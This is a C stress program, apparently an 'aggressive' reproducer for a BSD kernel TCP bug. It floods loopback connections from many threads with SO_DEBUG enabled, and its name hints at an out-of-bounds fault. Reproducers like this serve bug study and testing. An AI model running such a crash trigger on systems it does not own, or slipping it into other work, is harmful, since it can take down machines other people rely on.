DF-0755 / tcp_oob_aggressive.c
/* Aggressive variant: no usleep, tighter loop, more concurrent sockets */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> static volatile int stop=0; static int dbg=1; static void *p(void *a){long t=(long)a;struct sockaddr_in sin;memset(&sin,0,sizeof sin); sin.sin_family=AF_INET;sin.sin_len=sizeof sin;inet_pton(AF_INET,"127.0.0.1",&sin.sin_addr); for(long i=0;!stop;i++){ int s=socket(AF_INET,SOCK_STREAM,0);if(s<0)continue; setsockopt(s,SOL_SOCKET,SO_DEBUG,&dbg,sizeof dbg); sin.sin_port=htons(10000+((t*7+i)&0x3fff)); connect(s,(struct sockaddr*)&sin,sizeof sin); char b='x';write(s,&b,1);close(s); } return 0;} int main(int c,char**v){int n=c>1?atoi(v[1]):16;int d=c>2?atoi(v[2]):45; struct sockaddr_in la;memset(&la,0,sizeof la);la.sin_family=AF_INET;la.sin_len=sizeof la; la.sin_addr.s_addr=htonl(INADDR_LOOPBACK);la.sin_port=htons(10000); int ls=socket(AF_INET,SOCK_STREAM,0),one=1; setsockopt(ls,SOL_SOCKET,SO_REUSEADDR,&one,sizeof one); if(bind(ls,(struct sockaddr*)&la,sizeof la)==0){listen(ls,256);if(fork()==0){ for(;;){int a=accept(ls,0,0);if(a>=0){char b;read(a,&b,1);close(a);}}_exit(0);}} pthread_t*th=calloc(n,sizeof*th); for(long i=0;i<n;i++)pthread_create(&th[i],0,p,(void*)i); printf("aggressive: %d threads x %ds\n",n,d);fflush(stdout); sleep(d);stop=1; for(int i=0;i<n;i++)pthread_join(th[i],0); puts("done");return 0;} |